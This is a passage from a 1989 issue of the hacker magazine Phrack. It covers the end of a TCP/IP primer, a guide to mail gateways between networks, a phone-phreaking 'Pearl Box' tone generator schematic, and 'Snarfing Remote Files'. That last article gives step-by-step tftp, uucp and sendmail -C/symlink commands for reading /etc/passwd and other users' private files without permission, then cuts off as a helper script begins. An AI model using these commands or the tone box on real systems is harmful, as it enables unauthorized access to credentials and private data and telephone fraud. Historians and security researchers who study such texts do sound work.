even in the TCP header. IP's job is simply to find a route for the datagram and get it to the other end. In order to allow gateways or other intermediate systems to forward the datagram, it adds its own header. The main things in this header are the source and destination Internet address (32-bit addresses, like 128.6.4.194), the protocol number, and another checksum. The source Internet address is simply the address of your machine. (This is necessary so the other end knows where the datagram came from.) The destination Internet address is the address of the other machine. (This is necessary so any gateways in the middle know where you want the datagram to go.) The protocol number tells IP at the other end to send the datagram to TCP. Although most IP traffic uses TCP, there are other protocols that can use IP, so you have to tell IP which protocol to send the datagram to. Finally, the checksum allows IP at the other end to verify that the header wasn't damaged in transit. Note that TCP and IP have separate checksums. IP needs to be able to verify that the header didn't get damaged in transit, or it could send a message to the wrong place. It is both more efficient and safer to have TCP compute a separate checksum for the TCP header and data. Once IP has tacked on its header, here's what the message looks like: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TCP header, then your data ...... | | | If you represent the IP header by an "I", your file now looks like this: IT.... IT.... IT.... IT.... IT.... IT.... IT.... Again, the header contains some additional fields that will not be discussed in this article because they are not relevent to understanding the process. The flags and fragment offset are used to keep track of the pieces when a datagram has to be split up. This can happen when datagrams are forwarded through a network for which they are too big. (This will be discussed a bit more below.) The time to live is a number that is decremented whenever the datagram passes through a system. When it goes to zero, the datagram is discarded. This is done in case a loop develops in the system somehow. Of course this should be impossible, but well-designed networks are built to cope with "impossible" conditions. At this point, it's possible that no more headers are needed. If your computer happens to have a direct phone line connecting it to the destination computer, or to a gateway, it may simply send the datagrams out on the line (though likely a synchronous protocol such as HDLC would be used, and it would add at least a few octets at the beginning and end). * The Ethernet Level Most networks these days use Ethernet which has its own addresses. The people who designed Ethernet wanted to make sure that no two machines would end up with the same Ethernet address. Furthermore, they didn't want the user to have to worry about assigning addresses. So each Ethernet controller comes with an address built-in from the factory. In order to make sure that they would never have to reuse addresses, the Ethernet designers allocated 48 bits for the Ethernet address. People who make Ethernet equipment have to register with a central authority, to make sure that the numbers they assign don't overlap any other manufacturer. Ethernet is a "broadcast medium." That is, it is in effect like an old party line telephone. When you send a packet out on the Ethernet, every machine on the network sees the packet. So something is needed to make sure that the right machine gets it. As you might guess, this involves the Ethernet header. Every Ethernet packet has a 14-octet header that includes the source and destination Ethernet address, and a type code. Each machine is supposed to pay attention only to packets with its own Ethernet address in the destination field. (It's perfectly possible to cheat, which is one reason that Ethernet communications are not terribly secure.) Note that there is no connection between the Ethernet address and the Internet address. Each machine has to have a table of what Ethernet address corresponds to what Internet address. (I will describe how this table is constructed a bit later.) In addition to the addresses, the header contains a type code. The type code is to allow for several different protocol families to be used on the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at the same time. Each of them will put a different value in the type field. Finally, there is a checksum. The Ethernet controller computes a checksum of the entire packet. When the other end receives the packet, it recomputes the checksum, and throws the packet away if the answer disagrees with the original. The checksum is put on the end of the packet, not in the header. The final result is that your message looks like this: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ethernet destination address (first 32 bits) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ethernet source address (last 32 bits) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type code | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | IP header, then TCP header, then your data | | | ... | | | end of your data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Ethernet Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ If you represent the Ethernet header with "E", and the Ethernet checksum with "C", your file now looks like this: EIT....C EIT....C EIT....C EIT....C EIT....C When these packets are received by the other end, of course all the headers are removed. The Ethernet interface removes the Ethernet header and the checksum. It looks at the type code. Since the type code is the one assigned to IP, the Ethernet device driver passes the datagram up to IP. IP removes the IP header. It looks at the IP protocol field. Since the protocol type is TCP, it passes the datagram up to TCP. TCP now looks at the sequence number. It uses the sequence numbers and other information to combine all the datagrams into the original file. This ends my initial summary of TCP/IP. There are still some crucial concepts I have not gotten to, so in part two, I will go back and add details in several areas. (For detailed descriptions of the items discussed here see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for sending IP over Ethernet.) __________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #4 of 12 Network Miscellany ~~~~~~~~~~~~~~~~~~ by Taran King June 1, 1989 ACSNET ~~~~~~ Australian Computer Science Network (ACSNET), also known as Oz, has its gateway through the CSNET node munnari.oz.au and if you cannot directly mail to the .oz.au domain, try either username%munnari.oz.au@UUNET.UU.NET or munnari!username@UUNET.UU.NET. AT&T MAIL ~~~~~~~~~ AT&T Mail is a mailing service of AT&T, probably what you might call it's MCI-Mail equivalent. It is available on the UUCP network as node name attmail but I've had problems having mail get through. Apparently, it does cost money to mail to this service and the surrounding nodes are not willing to pick up the tab for the ingoing mail, or at least, this has seemingly been the case thus far. I believe, though, that perhaps routing to att!attmail!user would work. AT&T recently announced six new X.400 interconnections between AT&T Mail and electronic mail services in the U.S., Korea, Sweden, Australia, and Finland. In the U.S., AT&T Mail is now interconnected with Telenet Communications Corporation's service, Telemail, allowing users of both services to exchange messages easily. With the addition of these interconnections, the AT&T Mail Gateway 400 Service allows AT&T Mail subscribers to exchange messages with users of the following electronic messaging systems: Company E-Mail Name* Country ------- ------------ ------- TeleDelta TeDe 400 Sweden OTC MPS400 Australia Telecom-Canada Envoy100 Canada DACOM DACOM MHS Korea P&T-Tele MailNet 400 Finland Helsinki Telephone Co. ELISA Finland Dialcom Dialcom USA Telenet Telemail USA KDD Messavia Japan Transpac ATLAS400 France The interconnections are based on the X.400 standard, a set of guidelines for the format, delivery and receipt of electronic messages recommended by an international standards committee the CCITT. International X.400 messages incur a surcharge. They are: To Canada: Per note: $.05 Per message unit: $.10 To other international locations: Per note: $.20 Per message unit: $.50 There is no surcharge for X.400 messages within the U.S. The following are contacts to speak with about mailing through these mentioned networks. Other questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672. MHS Gateway: mhs!atlas MHS Gateway: mhs!dacom Administrator: Bernard Tardieu Administrator: Bob Nicholson Transpac AT&T Phone: 3399283203 Morristown, NJ 07960 Phone: +1 201 644 1838 MHS Gateway: mhs!dialcom MHS Gateway: mhs!elisa Administrator: Mr. Laraman Administrator: Ulla Karajalainen Dialcom Nokia Data South Plainfield, NJ 07080 Phone: 01135804371 Phone: +1 441 493 3843 MHS Gateway: mhs!envoy MHS Gateway: mhs!kdd Administrator: Kin C. Ma Administrator: Shigeo Lwase Telecom Canada Kokusai Denshin Denwa CO. Phone: +1 613 567 7584 Phone: 8133477419 MHS Gateway: mhs!mailnet MHS Gateway: mhs!otc Administrator: Kari Aakala Administrator: Gary W. Krumbine Gen Directorate Of Post & AT&T Information Systems Phone: 35806921730 Lincroft, NJ 07738 Phone: +1 201 576 2658 MHS Gateway: mhs!telemail MHS Gateway: mhs Administrator: Jim Kelsay Administrator: AT&T Mail MHS GTE Telenet Comm Corp Gateway Reston, VA 22096 AT&T Phone: +1 703 689 6034 Lincroft, NJ 08838 Phone: +1 800 624 5672 CMR ~~~ Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a mail relay service between the Internet and three commercial electronic mail systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail, NSFMAIL, and USDA-MAIL). An important note: The only requirement for using this mail gateway is that the work conducted must be DARPA sponsored research and other approved government business. Basically, this means that unless you've got some government-related business, you're not supposed to be using this gateway. Regardless, it would be very difficult for them to screen everything that goes through their gateway. Before I understood the requirements of this gateway, I was sending to a user of MCI-Mail and was not contacted about any problems with that communication. Unfortunately, I mistyped the MCI-Mail address on one of the letters and that letter ended up getting read by system administrators who then informed me that I was not to be using that system, as well as the fact that they would like to bill me for using it. That was an interesting thought on their part anyway, but do note that using this service does incur charges. The CMR mailbox address in each system corresponds to the label: Telemail: [Intermail/USCISI]TELEMAIL/USA MCI-Mail: Intermail or 107-8239 CompMail: Intermail or CMP0817 NSF-Mail: Intermail or NSF153 USDA-Mail: Intermail or AGS9999 Addressing examples for each e-mail system are as follows: MCIMAIL: 123-4567 seven digit address Everett T. Bowens person's name (must be unique!) COMPMAIL: CMP0123 three letters followed by three or four digits S.Cooper initial, then "." and then last name 134:CMP0123 domain, then ":" and then combination system and account number NSFMAIL: NSF0123 three letters followed by three or four digits A.Phillips initial, then "." and then last name 157:NSF0123 domain, then ":" and then combination system and account number USDAMAIL: AGS0123 three letters followed by three or four digits P.Shifter initial, then "." and then last name 157:AGS0123 domain, then ":" and then combination system and account number TELEMAIL: BARNOC user (directly on Telemail) BARNOC/LODH user/organization (directly on Telemail) [BARNOC/LODH]TELEMAIL/USA [user/organization]system branch/country The following are other Telenet system branches/countries that can be mailed to: TELEMAIL/USA NASAMAIL/USA MAIL/USA TELEMEMO/AUSTRALIA TELECOM/CANADA TOMMAIL/CHILE TMAILUK/GB ITALMAIL/ITALY ATI/JAPAN PIPMAIL/ROC DGC/USA FAAMAIL/USA GSFC/USA GTEMAIL/USA TM11/USA TNET.TELEMAIL/USA USDA/USA Note: OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to it, the format would be [A.MAILBOX/OMNET]MAIL/USA. The following are available subdivisions of OMNET: AIR Atmospheric Sciences EARTH Solid Earth Sciences LIFE Life Sciences OCEAN Ocean Sciences POLAR Interdisciplinary Polar Studies SPACE Space Science and Remote Sensing The following is a list of DIALCOM systems available in the listed countries with their domain and system numbers: Service Name Country Domain Number System Number ~~~~~~~~~~~~ ~~~~~~~ ~~~~~~~~~~~~~ ~~~~~~~~~~~~~ Keylink-Dialcom Australia 60 07, 08, 09 Dialcom Canada 20 20, 21, 22, 23, 24 DPT Databoks Denmark 124 71 Telebox Finland 127 62 Telebox West Germany 30 15, 16 Dialcom Hong Kong 80 88, 89 Eirmail Ireland 100 74 Goldnet Israel 50 05, 06 Mastermail Italy 130 65, 67 Mastermail Italy 1 66, 68 Dialcom Japan 70 13, 14 Dialcom Korea 1 52 Telecom Gold Malta 100 75 Dialcom Mexico 1 52 Memocom Netherlands 124 27, 28, 29 Memocom Netherlands 1 55 Starnet New Zealand 64 01, 02 Dialcom Puerto Rico 58 25 Telebox Singapore 88 10, 11, 12 Dialcom Taiwan 1 52 Telecom Gold United Kingdom 100 01, 04, 17, 80-89 DIALCOM USA 1 29, 30, 31, 32, 33, 34, 37, 38, 41-59, 61, 62, 63, 90-99 NOTE: You can also mail to username@NASAMAIL.NASA.GOV or username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to mail to NASAMAIL or GSFCMAIL. For more information and instructions on how to use CMR, send a message to the user support group at intermail-request@intermail.isi.edu (you'll get basically what I've listed plus maybe a bit more). Please read Chapter 3 of The Future Transcendent Saga (Limbo to Infinity) for specifics on mailing to these destination mailing systems. COMPUSERVE ~~~~~~~~~~ CompuServe is well known for its games and conferences. It does, though, have mailing capability. Now, they have developed their own Internet domain, called COMPUSERVE.COM. It is relatively new and mail can be routed through either TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA. Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA). The CompuServe link appears to be a polled UUCP connection at the gateway machine. It is actually managed via a set of shell scripts and a comm utility called xcomm, which operates via command scripts built on the fly by the shell scripts during analysis of what jobs exist to go into and out of CompuServe. CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as 7xxxx.yyyy@compuserve.com. CompuServe employees can be addressed by their usernames in the csi.compuserve.com subdomain. CIS subscribers write mail to ">inet:user@host.domain" to mail to users on the Wide-Area Networks, where ">gateway:" is CompuServe's internal gateway access syntax. The gateway generates fully-RFC-compliant headers. To fully extrapolate -- from the CompuServe side, you would use their EasyPlex mail system to send mail to someone in BITNET or the Internet. For example, to send me mail at my Bitnet id, you would address it to: INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU Or to my Internet id: INET:C488869@UMCVMB.MISSOURI.EDU Now, if you have a BITNET to Internet userid, this is a silly thing to do, since your connect time to CompuServe costs you money. However, you can use this information to let people on CompuServe contact YOU. CompuServe Customer Service says that there is no charge to either receive or send a message to the Internet or BITNET. DASNET ~~~~~~ DASnet is a smaller network that connects to the Wide-Area Networks but charges for their service. DASnet subscribers get charged for both mail to users on other networks AND mail for them from users of other networks. The following is a brief description of DASnet, some of which was taken from their promotional text letter. DASnet allows you to exchange electronic mail with people on more than 20 systems and networks that are interconnected with DASnet. One of the drawbacks, though, is that, after being subscribed to these services, you must then subscribe to DASnet, which is a separate cost. Members of Wide-Area networks can subscribe to DASnet too. Some of the networks and systems reachable through DASnet include the following: ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network, Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI, PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source, Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP, The WELL, and Domains (i.e. ".COM" and ".EDU" etc.). New systems are added all of the time. As of the writing of this file, Connect, GoverNET, MacNET, and The American Institute of Physics PI-MAIL are soon to be connected. You can get various accounts on DASnet including: o Corporate Accounts -- If your organization wants more than one individual subscription. o Site Subscriptions -- If you want DASnet to link directly to your organization's electronic mail system. To send e-mail through DASnet, you send the message to the DASnet account on your home system. You receive e-mail at your mailbox, as you do now. On the Wide-Area Networks, you send mail to XB.DAS@STANFORD.BITNET. On the Subject: line, you type the DASnet address in brackets and then the username just outside of them. The real subject can be expressed after the username separated by a "!" (Example: Subject: [0756TK]randy!How's Phrack?). The only disadvantage of using DASnet as opposed to Wide-Area networks is the cost. Subscription costs as of 3/3/89 cost $4.75 per month or $5.75 per month for hosts that are outside of the U.S.A. You are also charged for each message that you send. If you are corresponding with someone who is not a DASnet subscriber, THEIR MAIL TO YOU is billed to your account. The following is an abbreviated cost list for mailing to the different services of DASnet: PARTIAL List DASnet Cost DASnet Cost of Services 1st 1000 Each Add'l 1000 Linked by DASnet (e-mail) Characters Characters: INET, MacNET, PeaceNet, NOTE: 20 lines Unison, UUCP*, Domains, .21 .11 of text is app. e.g. .COM, .EDU* 1000 characters. Dialcom--Any "host" in U.S. .36 .25 Dialcom--Hosts outside U.S. .93 .83 EasyLink (From EasyLink) .21 .11 (To EasyLink) .55 .23 U.S. FAX (internat'l avail.) .79 .37 GeoMail--Any "host" in U.S. .21 .11 GeoMail--Hosts outside U.S. .74 .63 MCI (from MCI) .21 .11 (to MCI) .78 .25 (Paper mail - USA) 2.31 .21 Telemail .36 .25 W.U. Telex--United States 1.79 1.63 (You can also send Telexes outside the U.S.) TWICS--Japan .89 .47 * The charges given here are to the gateway to the network. The DASnet user is not charged for transmission on the network itself. Subscribers to DASnet get a free DASnet Network Directory as well as a listing in the directory, and the ability to order optional DASnet services like auto-porting or DASnet Telex Service which gives you your own Telex number and answerback for $8.40 a month at this time. DASnet is a registered trademark of DA Systems, Inc. DA Systems, Inc. 1503 E. Campbell Ave. Campbell, CA 95008 408-559-7434 TELEX: 910 380-3530 The following two sections on PeaceNet and AppleLink are in association with DASnet as this network is what is used to connect them to the Wide-Area Networks. APPLELINK ~~~~~~~~~ AppleLink is a service of Apple Computer. They have their own little network and there are a couple of things to know about it. First of all, there is an AppleLink-Bitnet Mail Relay which was created to "enrich the cooperative research relationship of Apple Computer and the higher education community by facilitating the electronic exchange of information." Any Bitnet user is automatically authorized to use the mail relay as well as all AppleLink users. To send to AppleLink from Bitnet, your header should be as follows: To: XB.DAS@STANFORD.BITNET Subject: username@APPLELINK!Hi, how are things at Apple? The username is the user's ID that you are sending to and the "!" separates the DASnet To: field from the real subject. To send to Bitnet from AppleLink, your header should be as follows: To: DASNET Subject: C488869@UMCVMB.BITNET!Please add me to the Phrack Subscription List. The C488869@UMCVMB.BITNET (my address) is any Bitnet address and as above, the "!" separates the address from the subject of the message. There is one other thing to mention. Apparently, sending to username@APPLELINK.APPLE.COM also will perform the same function. If this does not work, try routing to username%APPLELINK.APPLE.COM@APPLE.COM. PEACENET ~~~~~~~~ PeaceNet is a computer-based communication system "helping the peace movement throughout the world communicate and cooperate more effectively and efficiently," according to their information flier. It is networked through Telenet and can be reached via dial-up. To subscribe to this service, it costs $10 to sign up. With this sign-up fee, you receive a user's manual and a "free" hour of off-peak computer time (which is weekday evenings, weekends, and holidays). Beyond this, you pay a monthly $10 fee for another hour of off-peak computer usage and you pay $5 for additional PEAK hour usage. They charge, also, for users who require extra space on their system. I guess peace carries a heavy cost in the long run! You do get 2 free hours of off-peak time though for every additional user you bring to PeaceNet. It is a project of the Tides Foundation, a San Franciscan public charity, and is managed by 3 national peace organizations (non-profit, of course!). Anyway, to join PeaceNet, send your name, organizational affiliation, address, city, state, zip code, telephone number, and who referred you to PeaceNet as well as your credit card number with expiration date (and the name on the card if it's different than yours) to PeaceNet, 3228 Sacramento Street, San Francisco, CA 94115 or call them at 415-923-0900. You can also pay by check but that requires a $50 deposit. FIDONET ~~~~~~~ FIDONET is, of course, the ever-popular group of IBM bulletin boards that made it possible for networking to be incorporated into bulletin board systems. FIDONET seems to have a number of gateways in the Wide-Area Networks. First of all, it has its own domain -- .ifna.org -- which makes it possible to mail right to FIDONET without routing through UUCP gateways or whatever. The format for this gateway is: Username@f.n.z.ifna.org In other words, if I wanted to mail to Silicon Swindler at 1:135/5, the address would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided that your mailer knows the .ifna.org domain, it should get through alright. Apparently, as of the writing of this article, they have implemented a new gateway name called fidonet.org which should work in place of ifna.org in all routings. If your mailer does not know either of these domains, use the above routing but replace the first "@" with a "%" and then afterwards, use either of the following mailers after the "@": CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f.n.z.fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with K9.CS.ORST.EDU]). The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was posted on INFONETS DIGEST which lists a number of FIDONET gateways: Net Node Node Name ~~~ ~~~~ ~~~~~~~~~ 104 56 milehi.ifna.org 105 55 casper.ifna.org 107 320 rubbs.ifna.org 109 661 blkcat.ifna.org 125 406 fidogate.ifna.org 128 19 hipshk.ifna.org 129 65 insight.ifna.org 143 N/A fidogate.ifna.org 152 200 castle.ifna.org 161 N/A fidogate.ifna.org 369 17 megasys.ifna.org NOTE: The UUCP equivalent node name is the first part of the node name. In other words, the UUCP node milehi is listed as milehi.ifna.org but can be mailed directly over the UUCP network. Another way to mail to FIDONET, specifically for Internet people, is in this format: ihnp4!necntc!ncoast!ohiont!!!user_name@husc6.harvard.edu And for those UUCP mailing people out there, just use the path described and ignore the @husc5.harvard.edu portion. There is a FIDONET NODELIST available on most any FIDONET bulletin board, but it is quite large. ONTYME ~~~~~~ Previously known as Tymnet, OnTyme is the McDonnell Douglas revision. After they bought out Tymnet, they renamed the company and opened an experimental Internet gateway at ONTYME.TYMNET.COM but this is supposedly only good for certain corporate addresses within McDonnell Douglas and Tymnet, not their customers. The userid format is xx.yyy or xx.y/yy where xx is a net name and yyy (or y/yy) is a true username. If you cannot directly nail this, try: xx.yyy%ONTYME.TYMNET.COM@TYMIX.TYMNET.COM A subnet of Tymnet is called GeoNet. It is a private X.25-based subnet that is operated by the U.S. Geological Survey, a bureau of the U.S. Department of the Interior. It supports about 165 host computers including about 75 USGS Primes, 50 VAXen, and 2 Amdahls. One of their VAX systems is on BITnet at USGSRESV and they have SPAN nodes at IFLAG1.SPAN and EROSA.SPAN. THENET ~~~~~~ The Texas Higher Education Network (THEnet) is comprised of many of the institutions of higher education in the state of Texas. Its backbone network protocol is DECnet. THEnet has recently been designated as an NSF regional network, distributing Internet Protocol (IP) access over DECnet in some cases and utilizing multi-protocol routers in others. THEnet has a NIC (Network Information Center) at THENIC.THE.NET and addresses within THEnet are probably routed to user@destination.THE.NET. UUCP PATHS AND NODE INFORMATION ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Many UUCP Unix nodes have the commands uuhosts and uupath. The uuhosts command allows you to receive information about a specified UUCP node such as the path, node contact, how it is polled for USENET feeds, etc. The uupath command simply tells you the path from one UUCP node to another. Well, although at this time, this is only good for Bitnet users, this interactive message feature is good to know just in case you need to know a path to a particular node. For IBM systems using RSCS network software, use the command SM RSCS CMD PSUVAX1 UUPATH node1 node2 ... (For people on VAXen with JNET network software, the format is: ) (SEND/COMMAND PSUVAX1 UUPATH node1 ) to receive standard information listed above from the uupath command. Multiple nodes can be listed where node1 node2 represent separate UUCP nodes. I've found that this can be useful in finding surrounding nodes of the destination node in case you have a problem mailing through a particular path or node. You can, with this command, use alternate routings by specifying them with a "bang-path" that will indicate to the UUCP gateway where the message is to be sent to next. This is in the format of, say, "psuvax1!catch22!msp!taran@UUCPGATE" or whatever where UUCPGATE can be any UUCP gateway such as PSUVAX1 or UUNET.UU.NET to name a few. NICS ~~~~ The Network Information Centers (NICs) can be extremely useful in figuring out various problems on the networks, such as routings or the place at which the node resides, etc. BITNIC is the BITnet Network Information Center which is located in New Jersey. Its node name is BITNIC.BITNET and it contains a variety of resources which can be utilized via mail or via direct messages from Bitnet users. The DATABASE@BITNIC contains lists of all kinds. This database does not limit itself to information about the networks. It does contain this information, but also holds various trivialities. Send the HELP command either via direct message to DATABASE@BITNIC if on Bitnet or send mail to that address containing the command you wish to perform (i.e. send a message saying HELP to DATABASE@BITNIC.BITNET from another network or from Bitnet if you're at a node without direct message capabilities). LISTSERV@BITNIC contains the standard listserver files that you'd expect to find plus some other interesting ones. I'm not going to take the time to tutor you, the reader, in using these, so just send a HELP command the same as you would to DATABASE@BITNIC for more information. NETSERV@BITNIC is a file server which contains information files pertaining to various networks that are connected to Bitnet, as well as files about Bitnet. From here, you can get network node lists, information files on networks such as SPAN, ARPANET, NETNORTH, etc. and other network related files. This can be an extremely useful resource when you're trying to mail someone at another network. The Data Defense Network NIC (DDN NIC) is located at SRI-NIC.ARPA and has various useful files about the DDN as well as the Internet. There are a number of ways to obtain information from the DDN NIC. First of all, people on the Internet with the Telnet capability can Telnet to SRI-NIC.ARPA and perform a number of procedures from the pre-login screen. First of all, you can get TAC News updates by typing TACNEWS. The NIC command allows you to find various facts about the whereabouts of network information files, etc. The WHOIS command is probably the most useful of these 3. The WHOIS program allows you to find addresses for registered users of the networks as well as information about networks and nodes on the networks, depending on what you ask the WHOIS program for. To find only a certain record type, you can use the following specifiers: Arpanet DOmain GAteway GRoup HOst IMp Milnet NEtwork Organization PSn TAc To search for a specific field, use the following specifiers: HAndle or "!" Mailbox or if it contains "@" NAme or a "." leading These features return whatever information is available from the DDN NIC database. If you do not have the capability to use Telnet, mail can be sent to SERVICE@SRI-NIC.ARPA with the "SUBJECT:" line containing the following commands: HELP This will send you a help file for using the DDN NIC. RFC nnn This sends you a Request For Comments file (where nnn is either the number of the RFC file or else is INDEX to list them). IEN nnn This sends you an Internet Engineering Notes file where nnn is the same as above. NETINFO xxx This feature allows you to get files about the networks where xxx is the filename or else the word INDEX for a list of available files. HOST xxx This returns information pertaining to the xxx host specified. WHOIS xxx This is the same as using the WHOIS command from Telnet. For details on how to use this, send the WHOIS HELP command on the "Subject:" line. There are other Network Information Centers throughout the networks but as far as I know, their abilities are nothing near as powerful as SRI-NIC.ARPA. They are the places, though, to mail to for answers concerning those networks if you have some question as to the workings of the network or anything else. _______________________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #5 of 12 /////////////////////\\\\\\\\\\\\\\\\\\\\\ || || || A Real Functioning PEARL BOX Schematic || || || || Written, Tested, and Used || || || || by Dispater || || || || July 1, 1989 || || || \\\\\\\\\\\\\\\\\\\\\///////////////////// Introduction: After reading the earlier renditions of schematics for the Pearl Box, I decided that there was an easier and cheaper way of doing the same thing with an IC and parts you probably have just laying around the house. What Is A Pearl Box and Why Do I Want One? A Pearl Box is a tone generating device that is used to make a wide range of single tones. Therefore, it would be very easy to modify this basic design to make a Blue Box by making 2 Pearl Boxes and joining them together in some fashion. A Pearl Box can be used to create any tone you wish that other boxes may not. It also has a tone sweep option that can be used for numerous things like detecting different types of phone tapping devices. Parts List: CD4049 RCA integrated circuit .1 uF disk capacitor 1 uF 16V electrolitic capacitor 1K resistor 10M resistor 1meg pot 1N914 diode Some SPST momentary push-button switches 1 SPDT toggle switch 9 Volt battery & clip and miscellaneous stuff you should have laying around the house. State-of-the-Art-Text Schematic: + 16V 1uF - _______________________________||_____ | ! ! || | _ | _______________________ |__________| |/| 8ohms ____|__|_____:__|__:__|_ | __________| | | | 9 10 11 12 13 14 15 16 | | | |_|\| | CD4049UBE | | | |_1__2__3__4__5__6__7__8_| : | _ | | |__| |__| | |____________________|_________[-] | | ! ! : [b] | |__________________________| [a] | : : | [t] | ! 1N914 ! ! [t] |___________|/|_____________________________________[+] : |\| : : | | | | 10M | | |___/\/\/\__| | | | | |_____||____| | <-- These 2 wires to the center pole || | | of switch. .1uF 50V | | | | _______________________| |_____________________________ | ___[Toggle Switch]____________ | | | | ___ | | | | o o | | | | /\/\/\___| |__| |_/\/\/\____/\/\/\ | | ^ | 1K ^ | |____| ___ | |___| | o o | | /\/\/\___| |__| (pot side) (push-button | ^ side) |__| Explanation: The 2 wires that lead from the main part of the circuit should be connected to the center poles on the toggle switch. Put the 2 wires to the pot on one side and the 2 wires going to the push-buttons to the other side. That way you can switch between tone sweep and the favorite tones you like (the push-button side). To keep tones that you want to use frequently like 1850 Hz then all you have to do is put in a variable resistor and adjust it to where you have the correct tone, then just put a push-button switch on the line. You can link them together in a chain, etc. There are many other good modifications to make to the box so have fun and be smart. --Dispater \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\?/////////////////////////////////////// ==Phrack Inc.== Volume Three, Issue 28, File #6 of 12 +++++++++++++++++++++++++++++++++++++ + + + Snarfing Remote Files + + + + by + + + + Dark OverLord + + + +++++++++++++++++++++++++++++++++++++ There are many ways of getting copies of files from a remote system that you do not have permission to read or an account on login on to and access them through. Many administrators do not even bother to restrict many access points that you can use. Here are the simplest ways: A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy of a file if you are running on an Internet based network. B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file if uucp connections are running on that system. C) Access one of many known security loopholes. In the following examples, we will use the passwd file as the file to acquire since it is a readable file that can be found on most systems that these attacks are valid on. Method A : 1) First start the tftp program: Enter the command: tftp [You have the following prompt:] tftp> 2) The next step is to connect to the system that you wish to retrieve files from. At the tftp, type: tftp> connect other.system.com 3) Now request the file you wish to get a copy of (in our case, the passwd file /etc/passwd ): tftp> get /etc/passwd /tmp/passwd [You should see something that looks like the following:] Received 185659 bytes in 22 seconds. 4) Now exit the tftp program with the "quit" command: tftp> quit You should now have a copy of other.system.com's passwd file in your directory. NOTE: Some Unix systems' tftp programs have a different syntax. The above was tested under SunOS 4.0 For example, on Apollos, the syntax is: tftp -{g|g!|p|r|w} [netascii|image] Thus you must use the command: tftp -g password_file networked-host /etc/passwd Consult your local "man" pages for more info (or in other words RTFM). At the end of this article, I will include a shell script that will snarf a password file from a remote host. To use it type: gpw system_name Method B : Assuming we are getting the file /etc/passwd from the system uusucker, and our system has a direct uucp connection to that system, it is possible to request a copy of the file through the uucp links. The following command will request that a copy of the passwd file be copied into uucp's home directory /usr/spool/uucppublic : uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd' The flag "-m" means you will be notified by mail when the transfer is completed. Method C: The third possible way to access the desired file requires that you have the login permission to the system. In this case we will utilize a well-known bug in Unix's sendmail daemon. The sendmail program has and option "-C" in which you can specify the configuration file to use (by default this file is /usr/lib/sendmail.cf or /etc/sendmail.cf). It should also be noted that the diagnostics outputted by sendmail contain the offending lines of text. Also note that the sendmail program runs setuid root. The way you can abuse this set of facts (if you have not yet guessed) is by specifying the file you wish read as the configuration file. Thus the command: sendmail -C/usr/accounts/random_joe/private/file Will give you a copy of random joe's private file. Another similar trick is to symlink your .mailcf file to joe's file and mail someone. When mail executes sendmail (to send the mail), it will load in your .mailcf and barf out joe's stuff. First, link joe's file to your .mailcf . ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf Next, send mail to someone. mail C488869@umcvmb.missouri.edu And have fun. -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= : : gpw copyright(c) Dark Overlord : /usr/ucb/tftp $1 